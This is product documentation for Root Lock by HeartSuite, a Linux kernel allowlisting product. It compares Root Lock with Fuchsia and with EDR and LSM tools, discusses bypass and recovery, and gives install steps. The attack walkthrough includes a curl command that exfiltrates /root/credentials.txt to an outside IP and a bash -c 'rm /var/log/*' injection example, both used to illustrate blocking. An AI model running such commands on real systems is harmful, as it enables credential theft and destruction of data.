Fuchsia (Google) is a production operating system built on Zircon, a microkernel where every resource is accessed through an unforgeable handle. Like seL4, its security model is structural: no handle means no access, at the kernel boundary, before any policy database is consulted.

Fuchsia adds two architectural properties that seL4 does not emphasize: per-component private namespaces and cryptographic verification of every executable.

Private namespaces. In Fuchsia, each component receives an explicitly assembled filesystem view: its /svc/, /data/, and /pkg/ entries are handle-routed by the Component Framework. There is no global root filesystem visible to all components.

A compromised component cannot traverse upward to discover paths it was not given handles to; those paths do not exist in the component’s view.

Root Lock enforces on a global Linux filesystem. Root Lock controls whether a program can access a given path, but the path still exists and an access attempt returns an error rather than silence. Root Lock’s global filesystem is what makes existing Linux software run unchanged. That is the same choice that allows deployment on any existing Linux server.

Cryptographic integrity. Fuchsia verifies every executable through BlobFS. Each file is identified by its hash and checked before it runs. Replacing a binary silently is structurally impossible. Root Lock does not do that.

At Lockdown it seals the allowlist and the critical system paths: the files are immutable, and the kernel refuses the write. Full cryptographic verification at boot means building the OS around content-addressed storage from scratch. Lockdown is runtime tamper-resistance on the Linux you already run.

The Setup Mode gap. Fuchsia has no learning phase and no operator-facing allowlist tooling for standard server software, because standard server software does not run on Fuchsia. Root Lock’s Setup Mode records what each binary does; you review and approve through the Dashboard queues, then engage Lockdown. The workflow exists because Root Lock deploys on the software stack already running in production.

Platform. Fuchsia targets embedded devices and consumer hardware. It is not a Linux kernel and has no server deployment path. Root Lock targets Linux 5.19.6 and 6.18 server deployments and is installed by replacing the kernel on an existing host.

Fuchsia’s security architecture is more restrictive at every layer: per-component namespaces, cryptographic verification, handle-only access, userspace drivers. Root Lock provides enforced per-program allowlisting on existing Linux deployments without rebuilding the OS. For any organization running Linux infrastructure today, Root Lock is the option that deploys.

Trust boundaries and bypass surface

Three questions cut to the core of any enforcement mechanism: who is trusted to set the policy, who is gated at runtime, and what does a bypass look like?

graph LR
    A[Attacker gains root] --> B["eBPF agent\n(Falco, Tetragon)"]
    A --> C["LSM framework\n(AppArmor, SELinux)"]
    A --> D["seccomp sandbox\n(bubblewrap, firejail)"]
    A --> E["Linux EDR agent\n(CrowdStrike, SentinelOne)"]
    A --> F["Root Lock"]
    B --> G["Kill agent or\nunload BPF program"]
    C --> H["Set permissive or\nreload policy"]
    D --> I["Launch same binary\nwithout the filter"]
    E --> J["Kill driver or\nBYOVD bypass"]
    F --> K["Physical presence\nrequired"]
    G --> L["Protection disabled ✗"]
    H --> L
    I --> L
    J --> L
    K --> M["Protection intact ✓"]

    style A fill:#fdd,stroke:#c44
    style B fill:#fdd,stroke:#c44
    style C fill:#fdd,stroke:#c44
    style D fill:#fdd,stroke:#c44
    style E fill:#fdd,stroke:#c44
    style G fill:#fdd,stroke:#c44
    style H fill:#fdd,stroke:#c44
    style I fill:#fdd,stroke:#c44
    style J fill:#fdd,stroke:#c44
    style L fill:#fdd,stroke:#c44
    style F fill:#d4f4dd,stroke:#2a7a40
    style K fill:#d4f4dd,stroke:#2a7a40
    style M fill:#d4f4dd,stroke:#2a7a40

The table below answers each question in full for the main enforcement mechanisms alongside Root Lock.

Two differences carry the position. Every mechanism above narrows the runtime trust boundary to a subset of processes: one container, one labelled domain, one process tree, one observed program. Root Lock narrows it to every program via a system-wide allowlist, root included.

Every competitor above can be turned off by an attacker who already has remote root: kill the agent, unload the module, or set the policy permissive. Root Lock has nothing equivalent to turn off.

Changing the sealed allowlist takes physical presence or the cloud serial console. See Circumvention and recovery.

The May 2026 TanStack npm attack illustrated the trust-boundary distinction from the supply chain direction. The attacker operated inside a legitimate build pipeline using valid credentials.

SLSA provenance, OIDC, and 2FA all functioned as designed. No credential check or trust-chain verification registered anything to block.

Root Lock’s per-program network allowlist bounds what pipeline processes can reach from the host regardless of credential validity; connections to unapproved destinations are refused at the kernel.

What Root Lock complements

These tools do not overlap with Root Lock. They answer different questions, and mature security programs run both.

Root Lock makes a class of attacks impossible rather than merely visible. Your SIEM, NDR, and VA scanner work on what remains: a smaller, more focused set of events.

How Root Lock feeds these tools

Block events reach a SIEM via the local journal under identifier heartsuite (written to /dev/log). One rsyslog rule can forward that identifier; how it lands on the wire (RFC 3164 vs RFC 5424) depends on your rsyslog/journald configuration, not on Root Lock.

:programname, isequal, "heartsuite" @@your-siem:514

The enforcement stream emits one record per denial (HS-PROG-DENY, HS-FILE-DENY, HS-FILE-WDENY, HS-NET-DENY). The alert stream carries aggregated events (new_program_blocked, network_burst, and others). Successful allowlisted work is not streamed.

For push notifications, an HTTPS webhook (JSON; native PagerDuty Events API v2 and OpsGenie Alert API adapters) delivers alert-level events only. Webhook and email timestamps reflect alert evaluation time, not kernel event time; when correlating across sources, account for up to the daemon poll interval (typically 30–60 s).

Every allowlist approval action (programs, file paths, and network destinations) is written to a dedicated, persistent JSONL log that records timestamp, uid, and tty. This gives a machine-readable, session-attributable history of policy changes.

An always-on rotating application audit log records UI and core operational events and errors. Lockdown advisories are generated from verdict logic with direct provenance back to the underlying allowlist state and decision records rather than from unfiltered event dumps.

The combination of the per-decision enforcement stream, the dedicated approval log, and the application audit log produces a reconstructible record that security teams and auditors can use to trace what the system did, when, and why.

Agent-based scanners (Tenable Nessus Agent, Qualys Cloud Agent) run as allowlisted programs. Run the scanner during Setup Mode so Root Lock logs its programs and file access paths, then review and approve the entries through the Dashboard queues. Network-based scans from an external host reach the system over its normal network stack without special configuration.

Where a separate kernel is required

Root Lock deliberately omits overlay filesystems, user namespaces, and the BPF syscall because they are the features attackers use to hide, shadow directories, and reach root. Those workloads are not a fit by design. Run them on a separate system, or use the shipped paths below:

• Kubernetes nodes with dynamic container scheduling after Lockdown. Many instances of the same binary are supported, but new mounts for HPA scale-out or rescheduling are refused. Fixed pod sets before Lockdown work via the Container-host install; see Deployment Scenarios.
• Falco, Cilium Tetragon, bpftrace, and similar eBPF tools. The BPF syscall is deliberately absent. This closes the verifier bypass surface and prevents unloading of enforcement. Observe from adjacent hosts via syslog instead. On-host eBPF tooling is not a fit.
• Hypervisor hosts running VMs via KVM. KVM host features are compiled out to reduce attacker reach. Root Lock runs as a guest, not a host.
• Systems that require rootless containers. Unprivileged user namespaces are omitted; they are a path to privilege escalation without credentials. Use a separate host.

See System Requirements → Software Compatibility Notes for the full list.

For CISO and procurement evaluation of the Root Lock kernel itself in enterprise fleets (including operational models, Secure Boot roadmap, and alternatives), see the Kernel Hardening → Enterprise Adoption Guide.

Circumvention and recovery

Every security system has a known way to be taken out of the picture. Being explicit about it is how customers evaluate fit.

Root Lock’s sealed allowlist is intended to change through these operator paths:

1. Maintenance window. You switch to Setup Mode, make changes, and re-engage Lockdown. Logged and intentional.
2. Lockdown recovery. When Lockdown is active, the allowlist is sealed. Remote root cannot edit it. Recovery requires booting the maintenance kernel, using the Dashboard’s Maintenance ([m]) to remove the seal, and rebooting back. Booting the maintenance kernel requires physical or serial-console access: a keyboard and monitor at the machine, a serial port, a BMC (Dell iDRAC, HPE iLO, and similar), a hypervisor serial console, or your cloud provider’s serial console. An attacker without that console path cannot take this route. On a VM, the hypervisor that owns the guest disk and memory is that outer path. The guest kernel cannot police it.

What this means for security:

• Under Lockdown, an attacker who already has remote root cannot defeat enforcement. There is no agent to kill, no kernel module to unload, and no LSM policy to set permissive. There is also no remote way to force a reboot into the maintenance kernel without console access.
• Supported recovery requires physical or serial-console access: a keyboard and monitor at the machine, a serial port, or your cloud provider’s serial console. SSH access alone, regardless of privilege level, is not the recovery path.
• Physical or serial-console access always returns control to you. No software applied to the host can prevent console recovery.
• What can still go wrong (beyond physical or serial-console access). On a large kernel, whether every path is actually gated is still an engineering job. That includes seal and control paths that must stay gated under Lockdown (for example sibling attributes or HeartSuite control entry points), an allowlist that approved too much in Setup Mode, and an already-approved program abused as a deputy.
• Seal and control integrity are product contracts, tested on ship pins; check them on the pin you run. This is a different question than whether an agent is still running.

Compare this to the tools in the first table: in most of them, root can turn enforcement off. They kill the agent, unload the module, or set the policy permissive. Root Lock is deliberately not in that category.

Nothing the attacker ran survives a reboot.

To see the three enforcement mechanisms tested against real attacks, including what happens when attackers stay within approved boundaries, see When Root Isn’t Enough.

Privileged access. SOC 2, PCI DSS, and ISO 27001 each expect the organization to restrict and review privileged access. None of them is a single question of the form “can an administrator remotely disable this product?”

Under Lockdown, remote root cannot modify the sealed allowlist or disable Root Lock the way a userspace agent can be killed. Changing the seal takes physical or serial-console access, to boot the maintenance kernel.

That is one technical activity a customer control may cite. It does not satisfy a TSC, an Annex A control, or a PCI requirement by itself. Examiners still test identity, access reviews, logging, and the rest of the control environment.

For kernel-config notes and residual risk on the fielded pin, see Threat model and residual risk.

1.6 - Containers, microVMs, and the sealed host

Overview: Shared-kernel Docker is not the default on a sealed host. Root Lock by HeartSuite omits overlay filesystems and user namespaces on the Standard-host install because those are the features attackers use to shadow directories and reach root.

The default install is a sealed appliance — a backup receiver, a fixed server, a closed device. When you need containers, two shipped paths cover them: the Container-host install for a long-lived, steady set of images, and Root Lock as the guest kernel inside a Firecracker microVM, a Kata Container, or a plain KVM or cloud VM for untrusted or disposable work.

Why Docker is not the default

Docker, containerd, Podman, and runc isolate processes on the host kernel. That stack needs OverlayFS and user namespaces. On a Standard-host install those primitives are compiled out — they are the attack surface, path to root, and bypass the allowlist model removes. See System Requirements.

A backup receiver that only accepts Restic over SFTP does not need Docker. The Container-host install and microVMs matter when a second job would otherwise force a shared-kernel runtime onto a sealed host.

What Firecracker and Kata are

Industry pattern: platforms that run untrusted or multi-tenant code put Firecracker or Kata under the workload. Everyday microservices still ship Docker/OCI images on a shared-kernel runtime. Firecracker is a trust badge for isolation, not a mass-market brand that replaces Docker.

Two shipped shapes

Container host — a long-lived set on this kernel

The installer detects Docker, containerd, Kubernetes, or CRI-O and offers a Container host or Standard host install. Container-host installs enable overlay filesystem support and adapt Setup Mode for container runtimes.

You review the runtime, overlay mounts, and each image in the Dashboard queues, then engage Lockdown. Containers running at that moment continue. New containers, image pulls, and restarts after exit each need a maintenance window.

This is the path for long-lived service containers, Kubernetes nodes with a stable pod set, and batch jobs that finish before Lockdown. Continuous scheduling, autoscaling, and pod rescheduling after node loss are not a fit — Lockdown refuses the new mounts those moves need.

See Deployment Scenarios → Container hosts.

Guest — Root Lock inside the microVM

  Host (standard Linux or cloud VMM)
       │
       ▼
  Firecracker / Kata / KVM microVM
       │
       ▼
  Root Lock guest kernel
  Setup Mode → allowlist → Lockdown
  (known / trusted workload only)

Run Root Lock as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. Build the allowlist once: run a representative task in Setup Mode, review and approve the tools through the Dashboard queues, then bake that allowlist into the VM image.

Each task VM boots from that image into Lockdown. The allowlist holds for the life of the task. Then the VM is gone.

An attacker who already has root inside the guest cannot turn this off. There is no LSM to unload, no userspace shim to detach, and no agent to kill. This is the path for AI agent sandboxes, fixed-tool automation, and disposable task VMs. See AI agent and automation sandboxes.

Root Lock is not a hypervisor host. Running Firecracker or Kata on a Root Lock kernel so this box becomes the VMM for untrusted tenants is not a supported configuration. KVM host mode is compiled out; the product protects workloads inside a kernel. See Where Root Lock is not a fit.

What to run

Comparison

Root Lock’s job is that programs only do what you approved. MicroVMs are an optional wall next to that seal.

Operator FAQ

Related pages

• Deployment Scenarios — fit / not-fit, AI guest VMs, container hosts
• System Requirements — deliberate omissions (eBPF, FUSE, overlay, KVM host)
• How Root Lock Compares — gVisor and enforcement peers
• FAQs — who it is for; container reference architecture

1.7 - Security as Economics

Overview: Defeating a host control has a cost, and so does operating one. Root Lock by HeartSuite does not scan, score, or guess — in Lockdown the allowlist entry exists or it does not.

No security control is unconditionally unbreakable. The right question is not “can this be defeated?” but “what does defeating it cost the attacker — and what does operating it cost the defender?”

No false positives in blocking. In Lockdown, Root Lock does not scan, score, or guess. A program either has an allowlist entry for the action it is attempting, or it does not.

Permitted actions pass. Unpermitted actions are blocked. Every blocking decision is exact — not a detection estimate.

The boundary holds regardless of privilege. A process running as root can only reach the files its allowlist entry permits. Credentials, configuration, and data outside that slice are unreachable regardless of privilege. Network destinations outside the allowlist are unreachable the same way.

Under Lockdown the allowlist itself is sealed. Root cannot edit it the way agents or LSM policy can be stopped or set permissive. The question is no longer whether the agent is still running. It is whether Setup Mode approved too much, and whether someone at the console can unseal it.

Each additional step the attacker takes requires a new custom exploit targeted at the specific program and allowlist slice they are confined to. The cost compounds. At some point the attack is no longer worth finishing.

Cost to implement. A finite window: run the programs you want to allow, review and approve through the Dashboard queues, engage Lockdown. Most customers complete it during a standard change window.

Operational cost

Patching urgency. CVE classes that correspond to compiled-out kernel features do not generate emergency patch windows — the feature is absent, and no CVE in that class applies regardless of when the patch ships.

For CVEs in features that are present, a vulnerable program whose allowlist scope is bounded has a structurally limited blast radius. The remediation is real; the urgency is not. Patch batching on schedule, rather than emergency change windows, is the practical result.

Alert reduction. An attack that cannot progress past the kernel gate does not generate a SIEM or EDR alert. A binary that cannot execute never triggers a process-execution event. An outbound connection refused at the kernel never appears in NDR telemetry as a beacon or data-loss event.

This is not alert filtering — the event never occurs. The alert classes this eliminates carry the highest triage cost: unauthorized execution, unauthorized exfiltration, and novel outbound destinations.

Maintenance. No signature updates. No rule libraries. No agent fleet. The allowlist changes when software legitimately changes — new binaries, updated dependencies, changed network destinations — in a maintenance window on your schedule.

The more frequently software changes, the more frequently those windows are needed. For software that updates daily — package managers pulling live repositories, or applications shipping a new binary on each release — a maintenance window is required each time.

That is low overhead on monthly or quarterly patch schedules; at daily cadence it compounds. Root Lock fits well where the software stack is stable or follows a defined update process.

ROI compared

SELinux and AppArmor. LSM policy is a sustained engineering cost: SELinux refpolicy domain authoring, AppArmor profile maintenance, permissive-mode exceptions that accumulate under operational pressure, and policy audits before each OS upgrade. Each policy file is hand-authored and must be updated when software changes.

Root Lock records what programs actually do during Setup Mode and presents it for approval. The difference compounds over years: one observation-driven setup session versus ongoing policy authorship and drift management.

Zafran and risk-prioritization tools. Zafran, Nucleus, Vulcan Cyber, and similar tools correlate CVEs against your deployed controls to identify which patches are actually urgent. They do not enforce anything at runtime.

Root Lock reduces the urgency of items these tools surface: an unpatched CVE in a program whose allowlist scope is bounded has a structurally limited blast radius — a legitimate but lower-priority remediation. The two compose: a risk-prioritization tool can correctly de-prioritize CVEs in Root Lock-bounded programs because the enforcement is verifiable and the blast radius is documented.

Linux EDR. CrowdStrike Falcon, SentinelOne, and Microsoft Defender for Endpoint generate alerts that require analyst triage. The attack classes Root Lock prevents — unauthorized binary execution, file access outside approved scope, outbound connections to unapproved destinations — never reach the EDR because the attack cannot progress past the kernel gate.

Fewer alerts is not filtering; it is that the attack class is structurally absent from the host. EDR’s telemetry, behavioural analytics, and incident response capabilities remain valid for what Root Lock does not cover. The honest position: Root Lock changes what the EDR has to process, not whether you run one.

Cost to buy. Root Lock replaces the preventive-enforcement layer of several overlapping tools, leaving detection and response capabilities intact. What that means in practice for each category:

• Commercial eBPF enforcement tools (Sysdig Secure, commercial Falco, Cilium Tetragon) — Root Lock removes the BPF syscall by design. On-host eBPF tooling is not a fit. Their preventive role is covered by the allowlist. Budget line removed; stronger prevention gained.
• gVisor — if you are running it solely to protect workloads from root-level compromise inside a container or VM, Root Lock is a direct replacement as the guest kernel. No second userspace kernel layer.
• The blocking dimension of Linux EDR (CrowdStrike Falcon, SentinelOne, MDE) — prevention is replaced; telemetry, behavioural analytics, and SOC console are not. Some vendors offer lighter-tier pricing for telemetry-only deployments.
• AppArmor and SELinux — no licensing cost, but the policy-authoring overhead is real; see the SELinux comparison above.

Whether the licensing savings cover the Root Lock subscription depends on your current stack. The operational consolidation — no signature updates, no rule libraries, no agent fleet — is consistent regardless.

CTEM programs — Continuous Threat Exposure Management — cover exposure discovery, prioritisation, and validation across a whole estate: continuously mapping what an attacker could reach and ranking what to fix first. That scope fits large organisations managing complex, heterogeneous environments. For most deployments it is broader than the problem and carries corresponding cost.

Root Lock addresses one specific problem: the OS design assumption that grants every running program the file and network rights of the user who launched it. Removing that assumption at the kernel level does not require a continuous discovery and ranking program.

The CISO case. An attacker who already has root cannot go past the programs, files, and IPs already approved. The blast radius is bounded before anything runs. It is not detected after the fact. It is not cleaned up after the fact.

That changes the economics of every attack that reaches the host. It does not eliminate breach risk. It makes moving to the next machine, exfiltration, and privilege escalation substantially more expensive to execute — before detection has a chance to respond.

1.8 - Where Linux security tools actually sit

Overview: Security audits often group tools by vendor category — EDR, SIEM, NDR — without saying where in the kernel stack enforcement actually happens. Layer placement determines bypass surface: a tool enforcing at Layer 2 cannot be disabled by a mechanism that only reaches Layer 3 or above.

This page maps Linux host security tools to the enforcement layer they occupy.

Layer definitions

The higher the layer, the more layers beneath it an attacker can leverage to disable it. A Layer 5 agent can be killed by a process with root. A Layer 3 LSM policy can be set permissive by root.

A Layer 2 kernel configuration cannot be changed without rebooting into a different kernel. For a visual representation of this by tool, see Kernel architecture.

Tool map

Layer 2 — Kernel-embedded enforcement

Enforcement is part of the kernel binary. Changing it requires a reboot into a different kernel. Remote root is not sufficient to disable it.

Layer 2–3 — Userspace-process-run-as-kernel

gVisor intercepts container syscalls in a userspace process that acts as the container’s kernel, reducing exposure to the host kernel. The sentry process runs in userspace and can be compromised; a bug in its syscall emulation can allow escape.

Root Lock running as a guest kernel inside a gVisor-isolated container is a coherent composition — see How It Compares → gVisor.

Layer 3 — LSM hooks (in-tree)

Policy is applied to a running kernel from outside. Root with the right capability can set SELinux permissive, unload an AppArmor profile, or modify a policy file without rebooting.

Layer 3 — LSM hook + eBPF programs

eBPF programs are loaded into a running kernel at runtime. Root can unload the BPF program or kill the agent that loaded it.

Layer 3–5 — eBPF observability with optional in-kernel kill

These tools span layers depending on configuration: eBPF programs run at Layer 3, the userspace agent sits at Layer 5. The kill capability (where present) runs in-kernel but is loaded and managed by a userspace process.

Layer 4 — Userspace agent sandbox

These tools set up confinement using kernel primitives (seccomp-bpf, Linux namespaces) from userspace. Filters are scoped to a process tree launched by the agent — a sibling process launched without the agent is unaffected.

Layer 5 — Agent-based EDR / XDR

The agent provides detection and response capabilities that Root Lock does not replicate. Most modern breaches include “disable EDR” as an early step — root can kill the agent process, unload the kernel module, or exploit a BYOVD path. Treat these as complementary to Layer 2 enforcement, not substitutes.

Complementary controls (no enforcement overlap)

These tools do not overlap with Layers 2–5 enforcement. They answer different questions and should run alongside host enforcement.

Takeaway

Root Lock is the only product in this map sitting squarely at Layer 2 as a kernel-embedded allowlist enforced across all programs including root. Every other host enforcement tool sits at Layer 3 or higher. Root can turn those off remotely without a reboot.

The Layer 2 position is what makes physical or serial-console access the bypass path.

For the tool-by-tool comparison with bypass analysis, see How It Compares.

1.9 - When Root Isn't Enough

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user, including as root.

Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough.

Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace.

In Lockdown, Root Lock blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists.

A new program tries to run

The attack. An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell.

On a standard Linux server, a file downloaded to /tmp is executable the moment it arrives. As root, there are no further gates.

What Root Lock does. Every program must have an allowlist entry before the kernel will run it. A file downloaded to /tmp has no entry — it was never observed during Setup Mode, never reviewed, never approved.

In Lockdown, the kernel refuses to execute it. The attacker has a file. They cannot run it.

This applies equally to interpreted scripts. A malicious Python script dropped at /tmp/attack.py has no allowlist entry for that path. Root Lock’s Secure Script Launchers give each script its own allowlist entry, separate from the interpreter. Python runs. The unauthorized script does not.

What it does not cover. If the attacker already controls an approved program and issues commands within that program’s approved scope, this particular gate does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist.

Every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program reads what it shouldn’t

The attack. CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests /etc/passwd. Apache reads it and returns it. No authentication required.

The traditional defense — run Apache as www-data with limited permissions — does not help when the attacker targets files that www-data can legitimately read. On most systems, /etc/passwd is world-readable by design.

What Root Lock does. Apache’s allowlist entry defines exactly which files and directories it can read. /etc/passwd is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to.

When the crafted request causes Apache to attempt to open /etc/passwd, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation.

The question is not whether the system user can read /etc/passwd. The question is whether this specific program — Apache — is approved to read it. It is not.

The same mechanism applies to binary replacement. If an attacker who already has root tries to overwrite /usr/bin/whoami with a malicious script, the write is blocked — because the program issuing the write does not have /usr/bin/whoami in its file write allowlist. Root privilege does not override this check.

What it does not cover. If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See When Attackers Stay Within Approved Boundaries for the full picture.

An approved program sends data it shouldn’t

The attack. An attacker on a server uses curl — a standard utility present on nearly every Linux system — to send data out:

curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload

On a standard server with root access, this works. curl reads the file, opens a socket to the destination, and uploads the contents. The data leaves.

What Root Lock does. Two checks activate, independently. First, /root/credentials.txt is not in curl’s file access allowlist — curl was never approved to read files from /root. The read fails before a connection is attempted. Second, even if curl could read the file, 203.0.113.42 is not in curl’s network allowlist. The socket is refused.

Either check alone stops the exfiltration. Both activate.

The result is the same whether the attacker uses curl, wget, a raw /dev/tcp connection, or logger forwarding to a remote syslog server. A socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level.

Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application’s network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes.

Scope. Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in How Root Lock Compares.

Even when an attacker uses an approved program’s approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see When Attackers Stay Within Approved Boundaries.

When attackers stay within approved boundaries

Root Lock enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest.

Prompt injection. An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks.

Command injection inside an approved interpreter. If bash is on the allowlist and an attacker causes an approved program to call bash -c 'rm /var/log/*', the command runs within bash’s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage.

Backdoored programs that are already on the allowlist. vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing :) opens a listener on port 6200 and hands the attacker a root shell.

If vsftpd is on the allowlist, the backdoor activates inside vsftpd’s own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd’s approved scope occurs.

Root Lock limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for.

The delayed-activation case is the malicious sleeper: an approved program behaves as expected for months, then uses those same permissions. The execute gate does not fire. In Lockdown, file reads and writes stay inside the program’s allowlist, and outbound destinations stay closed.

Backup recovers protected directories from the write before the damage. It does not stop the first write to an approved path. Per-program-version file isolation, and automatic backup of every data file, are HeartSuite Joint File System (HJFS).

Attacks within a program’s approved scope. A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused.

Tight allowlisting limits the blast radius. Under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard’s Backup.

Under Lockdown the kernel gates execute, files, and outbound network per program. By design, remote root does not override those gates and has no intended path to change the sealed allowlist while the machine is running.

The files are immutable on disk. The kernel refuses the write. The backup files are protected by the Root Lock kernel itself, not by filesystem permissions. Unapproved programs do not persist across reboot. An already-approved program still has its grants until you change them from a maintenance window. See Circumvention and recovery.

For detection and response when an attack stays within approved boundaries, see How Root Lock Compares — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see Security as Economics.

2 - Getting Started

Overview: On a single host, Root Lock by HeartSuite uses Cloud Path (pre-installed instance, Dashboard appears on first login) or Local Path (manual installation with multiple reboots). Cloud Path and Local Path both arrive at the Dashboard after initial setup.

Before you begin

Check Before You Begin for system requirements and prerequisites, then follow Cloud Path or Local Path below.

Order of work

On Local Path, finish distribution updates and install the packages and services this host will actually run. Then run the installer. After the first reboot into the Root Lock kernel, leave the host quiet until the Dashboard appears.

On Cloud Path, Root Lock already finished initial setup during image preparation. First-boot leftovers can still appear in the queues — do not approve them if they are not runtime.

When the Dashboard appears, Root Lock has already added the programs that executed at boot and shutdown. In Setup Mode, Root Lock logs the rest of the workload. Allowlisting Basics covers approve and skip. After Lockdown, add software through Protecting During Maintenance.

Choose your path

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

Once initial setup is complete, Cloud Path and Local Path merge — the Dashboard shows the setup checklist and the Suggested Next Step directs you to begin allowlisting.

2.1 - Before You Begin

Overview: Confirm the requirements below match your system, then follow Cloud Path or Local Path on that host. On Local Path, finish distribution updates and the packages this host will run before you install.

System requirements

• Operating System: x86 (64-bit) Linux — Debian 11–13, Ubuntu-derived, Alpine, or RPM-based (Rocky 9.7 validated; Fedora 41, CentOS Stream 9 validated; RHEL/AlmaLinux/SLES: customer validation). See Distro Compatibility Matrix.
• Execution environment: bare metal or a full virtual machine with hardware virtualization (KVM, cloud hypervisors, VMware). The Local Path command is the same on both. Shared-kernel container guests (OpenVZ, LXC, Docker/Podman guests sharing the provider kernel) are not a fit by design. If a VPS or cloud guest has no /dev/kvm, install there; nesting a second guest causes the installer to stop at the start. See Bare metal, virtual machines, and nested VMs and Deployment Scenarios.
• Access Level: Root access (sudo privileges).
• Skills: Basic familiarity with the Linux command line.

If your setup differs, check the Introduction for compatibility details.

Finish the OS first

On Local Path, complete distribution updates and install the packages and services this host will actually run. Then install Root Lock. During initial setup, Root Lock records startup and shutdown programs from those boots. Package-install helpers, compilers, and one-shot probes that execute in that window become allowlist entries even if they never execute again.

After the Dashboard appears, run the workload you will keep — not compilers, probes, or other one-shot tools. After Lockdown, add software through Protecting During Maintenance.

Choosing your setup path

Cloud Path and Local Path merge at the Dashboard after initial setup is complete. Cloud users continue to Verifying Installation. Local users continue to Obtaining Root Lock.

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

3 - Obtaining and Installing Root Lock by HeartSuite

Overview: On a single host, Root Lock by HeartSuite installation follows Cloud Path or Local Path. Both end at the Dashboard after initial setup confirms that the machine is ready for allowlisting. On Local Path, finish the OS and the services this host will run before you install.

Finish the OS first

On Local Path, complete distribution updates and install the packages and services this host will actually run. Then run the installer. During initial setup, Root Lock records startup and shutdown programs from those boots. Package-install helpers, compilers, and one-shot probes that execute in that window become allowlist entries even if they never execute again.

On Cloud Path, Root Lock already finished initial setup during image preparation. First-boot leftovers can still appear in the queues — dismiss them if they are not runtime. Details are in Installation Part 2.

Choose your path

Many hosts still install through Cloud Path or Local Path on each machine. Ansible installs by running the Local Path installer or launching a Cloud Path image, then applying policy — see Central Policy.

When initial setup is complete, continue to Verifying Installation.

3.1 - Obtaining Root Lock by HeartSuite

Overview: Install Root Lock by HeartSuite with a single command.

Run this command after distribution updates are finished and the packages and services this host will actually run are installed. During initial setup, Root Lock records startup and shutdown programs from those boots. Package-install helpers, compilers, and one-shot probes that execute in that window become allowlist entries even if they never execute again.

Run the following command on the target system:

curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh | sudo bash

Prefer to inspect first:

curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh -o get-heartsuite.sh
less get-heartsuite.sh
sudo bash get-heartsuite.sh

The script downloads and installs the Root Lock kernel, tools, and Dashboard, then reboots automatically. Proceed to Installation Part 1 after the reboot.

The installer itself is also published at the v1.7.0-beta GitHub Release (heartsuite-install.sh plus .sha256). That drop is the beta channel; it is not the numbered 1.7.0 release ritual.

3.2 - Installing Root Lock by HeartSuite – Part 1

Overview: After running the install command, the machine reboots into the Root Lock by HeartSuite kernel.

Reboot into the Root Lock kernel

The installer sets the Root Lock kernel as the default boot target and reboots automatically. A 5-second countdown appears — press Ctrl+C to cancel if you need to inspect logs before rebooting.

After reboot, Root Lock reads the startup and shutdown logs and adds those programs to the allowlist automatically. Continue with Installation Part 2.

If the system does not boot into Root Lock

If the installer stopped before reboot on a nested guest, install on the outer machine — see Bare metal, virtual machines, and nested VMs.

If the machine boots to the wrong kernel or hangs:

1. Verify the installer completed without errors before the reboot fired.
2. Reboot and select the Root Lock kernel from the GRUB menu manually. On a VM, use the hypervisor serial console.

If the issue persists, contact HeartSuite support at support@heartsecsuite.com — we’re happy to help.

3.3 - Installing Root Lock by HeartSuite – Part 2

Overview: No commands are needed after the first boot into the Root Lock by HeartSuite kernel. Root Lock reads the startup and shutdown logs and adds the programs it finds to the allowlist — the Dashboard appears when this is complete and directs you into allowlisting.

What happens after the first boot

